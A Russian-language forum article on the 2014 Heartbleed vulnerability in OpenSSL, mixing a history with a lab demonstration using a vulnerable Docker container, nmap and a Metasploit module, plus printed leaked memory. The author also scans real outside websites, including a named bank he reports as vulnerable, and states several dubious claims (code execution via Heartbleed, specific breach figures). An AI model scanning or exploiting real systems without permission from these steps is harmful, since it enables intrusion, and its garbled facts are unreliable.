Статья Историческая вирусология: сказание о мировом кровотечении - уязвимость HeartBleed: или как я случайно нашел несколько дыр в Codeby

Предисловие

4WaS.gif
1659948927344.png

Приветики, на повестке дня - очередная статейка по Исторической вирусологии, и теперь у нас разборе уже не червь из временного промежутка тысячи лет до нашей эры, а реальная история из 2014 года, а ведь это было так, вроде бы, недавно. HeartBleed - сердечное кровотечение или как одна ошибка чуть не уничтожила мир, поехали. Хотя давайте слегка отвлечемся сперва. Дальнейший текст почитайте под эту музыку, будет аутентично:


Как-то раз Билл Гейтс сказал: “Если твоего бизнеса нет в интернете, то у тебя и бизнеса вовсе нет”. И я сомневаюсь, что это было сказано просто так или это какая-то оговорка. И на деле, кого ты пытаешься обмануть, Билли? Ведь на самом деле всем нам понятно, что это был байт, чтобы заработать ещё деньжат. И все верят, не смотря на то, что все данные твоего бизнеса постоянно будут находиться под угрозой уничтожения.

Но кто поверит какому-то парню из СНГ, когда на противоположной чаше весов находится один из самых богатых людей мира? Лично мне и так давно ясно, что интернет - одна большая ловушка для всего человечества, которая только и ждет возможности тебя скомпрометировать. И если вы не верите во всю эту чушь, сказанную мной, то возникает один лишь вопросик. А действительно ли наша сеть такая уж милая и пушистая?


А ответ на это способна дать лишь история, рад приветствовать снова - историческая вирусология какой-то там… Четырнадцатый выпуск? Наверное, а прошлые вот здесь:

1. Немного ностальгии: историческая вирусология или LoveLetter в цвете современности - 22 года спустя
2. Историческая вирусология: или 40 миллиардов долларов за 18 лет - MyDoom: хронология, история, анализ
3. Историческая вирусология: Чернобыль — как это было на самом деле или как заставить ваш ПК полететь из окна: история, хронология, анализ - CIH
4. Историческая вирусология: разговор о первом черве - или как одна ошибка изменила ход истории - Morris Worm
5. Историческая вирусология: раняя хронология программ-вымогателей - AIDS, GPcode, Arhivarius. Или как шутка психически больного стала каноном
6. Историческая вирусология: поздняя хронология программ-вымогателей - ZeuS, CryptoLocker, CTB: вирусный трафик ценой в миллиарды. Часть 1
7. Историческая вирусология: локер Илона Маска или как открылась Тесла - поздняя хронология программ вымогателей. Часть 2
8. Историческая вирусология: американский школьник и 250 миллионов - Blaster Worm: история, хронология, анализ
9. Историческая вирусология: Политически предубежденный вирус или как очередное исследование зашло не в ту степь - Confiker: история, хронология, анализ
10. Историческая вирусология: безумное китайское творение, натворившее дел - червь Nimda: история, хронология, анализ


Идешь себе значится на кухню, кушац охота, открываешь холодильник, в надежде отведать вкусненького. А из твоего устройства на тебя глаза разинул… Дисклеймер:

Дисклеймер

На самом деле я против зла и то, что я покажу вам далее, может быть, практически применено различного рода антагонистами. Сразу предупреждаю, что я, как автор этой писанины , снимаю с себя ответственность за то с каким умыслом будет использована эта информация дальше. Виноват только и только тот, кто применяет знания, но не тот, кто ими делится. Автор лишь преследует благие цели, используя способы и пути злоумышленников, раскрывает суть преступного механизма, открывая людям глаза, демонстрируя способы защиты, ведь лучший протект - это знания.

И напоминаю, что в рамках этой связки статей у нас действует конкурс на 5.555 рублей, а связан он с отсылками в моих работах: культовые фильмы, анимешки да и просто мемы с играми. Узнали? Пишите комментарий, ведь тот, кто раздает все пасхалки - получит денежку.


Историческая вирусология: сказание о мировом кровотечении - уязвимость HeartBleed: или как я случайно нашел несколько дыр в Codeby

Героем сегодняшней нашей статьи станешь.. Именно ты, дорогой читатель, просто мне стало лень думать о отсылках и прочем, потому вообрази себя на месте человека, который станет виновником мирового интернет кризиса в 2014 году. Но начинается все немного раньше.

1 января 2012 года, вы себе спокойненько занимаетесь работой, анализируете OpenSSL на уязвимости. Вас особенно интересует недавно добавленная функция HeartBeat, которую вы написали сами, но она почему-то работает не так, как должна. И если отправить через OpenSSL от своего устройства так называемый “пульс”, типа пакет, который проверяет в сети ли устройство, но в этот самый запрос имеется возможность вставить свой код. Непорядок, но вам плевать.

Простыми словами, если модифицировать запрос пульса, можно запустить выполнение своей полезной нагрузки на другом компьютере. И что же вы будете делать, обнаружив такую уязвимость? Ничего? Уверен, что нет, а вот Робин Сегельман, который нашел эту дыру просто забыл о ней на два года. И только тогда опубликовал вот это , ссылочка, что и стало основой для создания эксплоита.

И здесь минус в самом подходе к SSL, ведь это проект с открытым исходным кодом существует с 1998 года и приобрел действительно огромную популярность. В основном он разрабатывается добровольцами с минимумом постоянных активных разработчиков. Исходя из этого мы получаем библиотеку, которая популярна, но пишется кем попало.

Немного отвлечемся, не будет преувеличением, если я скажу, что OpenSSL - это самая популярная в мире библиотека для реализации HTTPS-шифрования на веб-сайтах, почтовых сервисах и приложениях. Согласны? Я тоже.

Апрель 2014 года - именно в этом месяце была опубликована информация об ошибке в протоколе. Впоследствии ей будет выдан идентификатор CVE-2014-0160.

Насколько она опасна и чем была критична публикация информации в открытом доступе? На этот вопрос можно ответить, лишь разобравшись в том как она устроена и как с её помощью проводится целенаправленный перехват участков памяти, содержащих конфиденциальные данные пользователей.

OpenSSL от 1.0.1 до 1.0.1g неправильно обрабатывают пакеты Heartbeat Extension, что позволяет кому угодно получить конфиденциальную информацию из памяти процесса с помощью специально созданных пакетов, которые вызывают перезапись буфера. Проще говоря отправляется необычное сообщение “Пульса”, содержащее полезную нагрузку. Используя отсутствие надлежащей проверки границ, злоумышленники могут получить доступ к секретным ключам, которые шифруют личные данные, такие как имена и пароли, а также передаваемый контент.

Веселуха. Ведь если упростить, то получается, что вам открывается доступ до 64 КБ оперативной памяти. При том это двунаправленная дыра, ведь как вы можете получить доступ к памяти сервера, так и сервер злоумышленника может получить доступ к памяти ваших устройств. Допустим, что вы заходите на сайт какого-то государственного учреждения, чтобы оплатить налоги, проходите авторизацию, все как обычно. Вводите данные для платежа: свой уникальный UID, номер банковской карты, CCV и пароль. Но вы даже не подозреваете, что этот ресурс уязвим к HeartBleed, а тем временем злоумышленник, назовем-ка его Наруто Узумаки, сидит за стеночкой и как раз проводит эксплуатацию этой дыры. Наш злодей может как получить сертификат SSL из вашей памяти и провести MiTM по перехвату всех введенных паролей, кстати, браузер даже не задумался бы о этом в те времена, можно просто своровать данные банковской карты из памяти сервера. О подробностях чуть позже.

1659949039377.png


И эта проблема действительно была острой, по самым скромным оценкам, две трети веб-серверов Интернета используют OpenSSL для криптографического подтверждения своей легитимности и защиты паролей и других конфиденциальных данных от перехвата. Многие другие почтовые серверы и компьютеры конечных пользователей полагаются на OpenSSL для шифрования паролей, электронной почты, мгновенных сообщений и других конфиденциальных данных.

14 декабря 2012 - выходит SSL 1.0.1, в нем по дефолту включена функция HeartBeat, что приводит к массовому распространению уязвимого ПО, а всем плевать, никто этого не видел ещё тогда.

1 апреля 2014 года - сразу же публикуется исправленная версия 1.0.1g, которую должны были установить сервера, использующие уязвимую версию. Мало как сработало.

2 апреля 2014 - два дня после публикации в уязвимости в открытый доступ, исправлений ещё никто не выпустил. На этом этапе немного статистической уязвимости хотелось бы добавить, представьте 2014 год. Уже достаточно многое знаем о информационной безопасности, устройства типа ПК или телефона есть практически у всех, интернет - ключевая нить мирового сообщества. И вдумайтесь в цифры, 20% от всех популярных серверов уязвимы: яндекс, яхууу и тому подобные. А это, на минуточку, примерно 800 тысяч серверов по всему миру.

Только популярных, а представьте сколько школьных сайтов или ресурсов типа “госдума села” были подвержены опасности.

3 апреля 2014 года - некоторые ресурсы очень быстро реагируют на появление новой угрозы и исправляют её. Именно в этот день информация о дыре была передана в Национальный Центр Компьютерной Безопасности.

Апрель 2014 года - сразу же после публикации находятся умельцы, которые начинают использовать баг по полной. Первого апреля была атакована почта Яндекс, по правде они очень быстро среагировали и закрыли уязвимость в тот же день, но было утеряно порядка 8 миллионов учетных данных пользователей, а также их куки.

Альфабанк - потеряли очень много логинов и паролей пользователей, так же информацию о транзакциях, личные данные клиентов. До конца отрицали существования уязвимости и закрыли ту лишь спустя 14 дней. Чудовищная халатность.

Yahooo - закрыли уязвимость первого апреля, но все равно теряют около миллиона аккаунтов пользователей.

АйМаниБанк - подобно Альфе отрицали уязвимость, распрощались с половиной клиентов, спустя два года обанкротились и закрылись.

Майл ру - ситуация аналогичная Яндексу, сработали быстро из-за чего огромного ущерба удалось избежать.

Apple - и не только СНГшные структуры были подвержены атаке, Яблочко теряет чудовищный гигабайт учетных данных.

И самое смешное, что людей, которые использовали дыру - найти было невозможно. Ведь во время атаки не остается следов — и она выполняется без каких-либо учетных данных. И любые инструкции безопасности по обнаружению вредителей здесь были бессильны.

21 июня 2014 года - 300 тысяч серверов остаются уязвимыми. И это только популярные, а среди сайтов школы, местного совета или сельской рады - не счесть.

20 января 2016 года - уязвимость до сих пор полностью не исправлена, точнее она была профикшена в первый же день, но проблема в том, что не все ставят эти ваши патчи. Около 100 тысяч уязвимых серверов. И уже невольно думаешь, что это не закончится никогда.

13 июля 2022 года - до сих пор можно найти ресурс, который подвержен атаке с помощью Heartbleed и это сегодня я докажу.

Прежде мне почему-то очень захотелось поведать вам о ущербе, а он катастрофически огромен, но ведь это даже не зловред, а просто баг. И этот самый баг нанес ущерб сопоставимый с ЛавЛеттер, который в свою очередь был шифровальщиком начала нулевых годов. Около двадцати миллиардов долларов и огромное количество утренной личной информации пользователей.

А теперь к практике немного. Как вы представляете себе баг?

5OeRyAylLWeFWXqxGLC0R3Tlk_6ky2zwpid6WlQJ7MvBBkw3iJ-4rYFgT53LW2Uwtykq_RAhyVK1hSAIPxbNHVY2y-jPlDa5T5gE_Qpjm2pftW8XFXDaxt3vKjp1D9oOteJ9fodg6HgHz1m5oXoe4A


Вот так?

KjmuJtF4VmabsrmK6uG7k6LdRdQR0CxFNG9PwhsQxutrHgZSJhIwkXZHQmRvC9TcUV93Toejfasj77rJhtamrLRoYOZFJ5nBcTCV6lXmhR3qfLxw2vuZe7Vo-UAu8dcpFMFv8BfdmOtYHOfF-r2jdw
sx-gyuzBeh6XMTrntZf_RX93N0vzSYZZ9ftMaS4pa7DUr69LIiY6S_o38uHZmThKpR8zKoq2SOYPDNQUesb680GzCBuzjB_UsmEvLCM1zw6kR3upnd5hwdXV0AkRQvslLmQy7PB9F4mgeLAlk3lkJg



А людей, которые пытаются их исправлять таким образом? Особо и не отличается от реальности. Данная уязвимость в SSL на самом деле выглядит вот так:
Код:
memcpy(bp, pl, payload);

В идеале расширение Heartbeat должно защищать протоколы SSL и TLS, проверяя запросы к серверу. Это должно было бы позволять компьютеру на одном конце связи отправлять сообщение запроса пульса. Каждое сообщение содержит полезную нагрузку — текстовую строку, содержащую передаваемую информацию, и число, представляющее объем памяти для полезной нагрузки — обычно в виде 16-разрядного целого числа. Выглядит идеально, ну создатель так тоже думал.

Перед предоставлением запрошенной информации расширение пульса должно выполнить проверку границ, которая проверяет входной запрос и возвращает точную длину полезной нагрузки, которая была запрошена, но проверка границ попросту не работала и это дало шанс на использование во зло. И вместо проверки границ расширение Heartbeat выделило буфер памяти без прохождения процесса проверки.

Screenshot_74.png



А теперь как это будет выглядеть на практике. Допустим, есть у нас уязвимый сервер с SSL 1.0.1 без фикса. Давайте перейдем в Кали и запустим его, но сперва…Нужен фонк.


Для успешной работы нам понадобится Doker, установим-ка его:
Код:
apt install docker.io

А затем скачаем репозиторий для эксплуатации с готовым сервером для теста:
Код:
docker pull hmlio/vaas-cve-2014-0160

Затем запустим контейнер для сопоставления портов:
Код:
docker run -d -p 8443:443 hmlio/vaas-cve-2014-0160

Теперь при переходе на локальный айпи адрес с портом 8443, мы будем видеть следующее:

Screenshot_73.png


Сейчас можем запустить сканер уязвимостей через nmap:
Код:
nmap -sV -p 8443 --script=ssl-heartbleed your-ip

И увидим следующий ответ. Скрин если не забуду.

И здесь есть два варианта эксплуатации. Посредством метасплоита, банальным поиском и так далее или вот таким образом, сразу же задействуя нужный:
Код:
msfcli auxiliary/scanner/ssl/openssl_heartbleed RHOSTS=your-ip RPORT=8443 VERBOSE=true E

Ладно, я лох немного, поехали обычным классическим образом.

После запуска получаем следующий ответ:

192.168.179.230:8443 - Sending Heartbeat...
192.168.179.230:8443 - Heartbeat response, 65535 bytes
192.168.179.230:8443 - Heartbeat response with leak
192.168.179.230:8443 - Printable info leaked: U`tcz~8}"V2|vf3<tf"!98532ED/A/39.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip

Использование бага прошло успешно, ну-у, а теперь, как и обещал, давайте попытаемся найти уязвимый сайт в 2022 году. Напоминаю, что уязвимость существует уже десять, с лишними двумя месяцами, лет. Для этого используем утилиту SSLTest, в которой по дефолту вшит модуль на проверку HeartBleed, поехали.

Установочка производится следующей командой:
Код:
git clone --depth 1 https://github.com/drwetter/testssl.sh.git

Ну и запустим сканирование с помощью докера:
Код:
docker run --rm -ti  drwetter/testssl.sh codeby.net

Ну я и не удивлен, что ничего особого найти не удалось, но наша задача найти уязвимый сайтец, потому популярные ресурсы трогать не будем, как по мне все давно уже исправили. А вот что-то типа этого.. Хотя стоп. Кодбай уязвим для эксплуатации сегодняшней нашей уязвимости, но с пометкой “возможно”:

BEAST (CVE-2011-3389) TLS1: ECDHE-RSA-AES128-SHA AES128-SHA ECDHE-RSA-AES256-SHA AES256-SHA DES-CBC3-SHA VULNERABLE -- but also supports higher protocols TLSv1.1 TLSv1.2 (likely mitigated) HeartBleed (CVE-2013-0160), potentially VULNERABLE.

Интересненько, на ладно, давайте таки более примитивный пример используем, не хочу наш форум как-то трогать. Но кто там у нас Сисадмин, обрати внимание, пожалуйста, ибо штука не очень веселая, когда портал, которому отдаешь всю творческую натуру, уязвим. Хотя Sweet32 и HeartBleed не особо-то и опасны нынче. :)

Screenshot_75.png


Итак, продолжаем под фонк, наша цель - сайт школы города, в котором я когда-то жил. Давайте запустим сканер. Стоп, он вообще не использует протокол шифрования, не наш клиент. А вот сайт университета прекрасно подходит, поехали:
Код:
docker run --rm -ti  drwetter/testssl.sh cnphu.edu.ua

Для нашей сегодняшней неуязвим, но почему-то на этом сайте меньше уязвимостей, чем на Кодбай.

Heartbleed (CVE-2014-0160) not vulnerable (OK), no heartbeat extension

Хм-м, захотелось мне чего-то проверить один паршивый банк, давайте поглядим, что выйдет:
Код:
docker run --rm -ti  drwetter/testssl.sh private24.ua

А ответ таков:

Heartbleed (CVE-2014-0160) VULNERABLE heartbeat extension


Пам-пам. Вот и нашли сайт, который до сих пор уязвим, хотя это чертов банк, один из самых популярных в моей стране.

Выводы

Ну вот такое вот, у нас сегодня был не вредонос, возможно, этим я опять отошел от канонов своего же цикла, но уж очень хотелось рассказать, да и самому узнать чего-то нового об эпидемии HeartBleed.

И что же писать в итогах? Ну, в этом случае сам подход к созданию SSL библиотеки дал сбой, я считаю концептуальным просчетом подобным образом разрабатывать вещи, непосредственно касающиеся безопасности пользователей. Из-за этого недостатка пострадали миллионы обычных людей, которые просто-напросто доверились ресурсу. И здесь не нужно винить тот же Яндекс, нет, они просто использовали ПО, которое использовали все, оно считалось надежным. Ещё одна шишка на лбу сообщества мира, но здесь уже было все иначе, это не двухтысячный год, не тысяча лет до нашей эры. Тогда уже все были прекрасно осведомлены, если дед из деревни Педрилово нет, то уж компании, типа МэйлРу, Альфа банка, точно.

Особо придает какого-то непонимания ситуация с последним, который до конца отрицал существование уязвимости, из-за чего утратил миллионы и своих же клиентов.

Кстати, после этого все дополнения начали более щепетильно проверяться.

20 миллиардов долларов ущерба, миллионы скомпрометированных пользователей, сотни тысяч популярных уязвимых ресурсов. И дело даже не в том, что было тогда, вся суть в том, что даже сейчас эта дыра остается актуальной и это мы доказали. А былое оставим истории, а этот цикл как и о ней - Историческая вирусология. А с вами был как всегда какой-то парень под ником DeathDay. Мира всем. Не прощаюсь.

1.04.2014. HeartBleed.​
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!